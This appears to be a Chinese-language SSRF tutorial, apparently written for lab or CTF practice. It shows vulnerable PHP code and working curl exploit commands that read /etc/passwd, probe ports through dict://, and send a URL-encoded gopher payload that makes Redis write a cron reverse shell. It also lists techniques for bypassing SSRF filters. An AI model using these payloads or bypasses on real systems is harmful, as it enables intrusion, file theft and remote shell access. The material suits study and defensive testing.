SSRF服务端请求伪造浅析
SSRF简介
SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。
漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。
攻击者可以利用 SSRF 实现的攻击主要有 5 种:
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息
- 攻击运行在内网或本地的应用程序(比如溢出)
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(比如 Struts2,sqli 等)
- 利用
file
协议读取本地文件等
漏洞危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
SSRF 漏洞出现的场景
- 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
阻碍 SSRF 漏洞利用的场景
- 服务器开启 OpenSSL 无法进行交互利用
- 服务端需要鉴权(Cookies & User:Pass)不能完美利用
- 限制请求的端口为 http 常用的端口,比如,80,443,8080,8090。
- 禁用不需要的协议。仅仅允许 http 和 https 请求。可以防止类似于 file:///,gopher://,ftp:// 等引起的问题。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
漏洞出现的方式
curl造成的SSRF
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
file_get_contents造成的SSRF
$url = $_GET['url'];;
echo file_get_contents($url);
fsockopen造成的SSRF
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp)
{
echo "$errstr (error number $errno) \n";
}
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
协议利用与利用方式
可利用的协议
-
利用Dict 协议探测端口
dict://fuzz.wuyun.org:8080/helo:port
-
Gopher 协议
gopher://fuzz.wuyun.org:8080/gopher
-
利用File 协议查看文件
file:///etc/passwd
利用方式举例
漏洞点: ssrf.php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
利用方法:
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250a set%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
实验:
1、file协议
curl -v "http://localhost:3000/ssrf.php?url=file://C:\Users\Administrator\Desktop\CTFer-Web\sql\sql-learn\ssrf.php"
file协议读取文件
2、dict协议
关于dict协议:
> dict://serverip:port/命令:参数
> 向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
curl -v "http://localhost:3000/ssrf.php?url=dict://127.0.0.1:80"
探索存活的80端口与不存活的8338端口
3、gopher详解
gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求:
https://www.ajsafe.com/news/181.html
gopher的协议格式如下:
gopher://hostname:port/请求方法(get、post等)/path
hostname 表示 Gopher 服务器的主机名或 IP 地址,port 表示 Gopher 服务器监听的端口号(默认为 70),而 path 则是资源的路径。
发起多条请求每条要用回车换行去隔开使用%0d%0a隔开,如果多个参数,参数之间的&也需要进行URL编码
但是gopher协议在各个语言中是有使用限制的。
语言 | 支持情况 |
---|---|
PHP | --wite-curlwrappers且php版本至少为5.3 |
Java | 小于JDK1.7 |
Curl | 低版本不支持 |
Perl | 支持 |
ASP.NET | 小于版本3 |
参考 https://developer.aliyun.com/article/1395706
https://www.ajsafe.com/news/181.html
绕过
-
更改 IP 地址写法 例如
192.168.0.1
- 8 进制格式:
0300.0250.0.1
- 16 进制格式:
0xC0.0xA8.0.1
- 10 进制整数格式:
3232235521
- 16 进制整数格式:
0xC0A80001
- 还有一种特殊的省略模式,例如
10.0.0.1
这个 IP 可以写成10.1
- 8 进制格式:
-
利用 URL 解析问题 在某些情况下,后端程序可能会对访问的 URL 进行解析,对解析出来的 host 地址进行过滤。这时候可能会出现对 URL 参数解析不当,导致可以绕过过滤。 例如:
-
http://www.baidu.com@192.168.0.1/
与http://192.168.0.1
请求的都是192.168.0.1
的内容 -
可以指向任意 ip 的域名
xip.io
:http://127.0.0.1.xip.io/
==>http://127.0.0.1/
-
短地址
http://dwz.cn/11SMa
==>http://127.0.0.1
-
利用句号
。
:127。0。0。1
==>127.0.0.1
-
利用 Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
-
危害
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
- 攻击运行在内网或本地的应用程序(比如溢出);
- 对内网 web 应用进行指纹识别,通过访问默认文件实现;
- 攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli 等);
- 利用 file 协议读取本地文件等。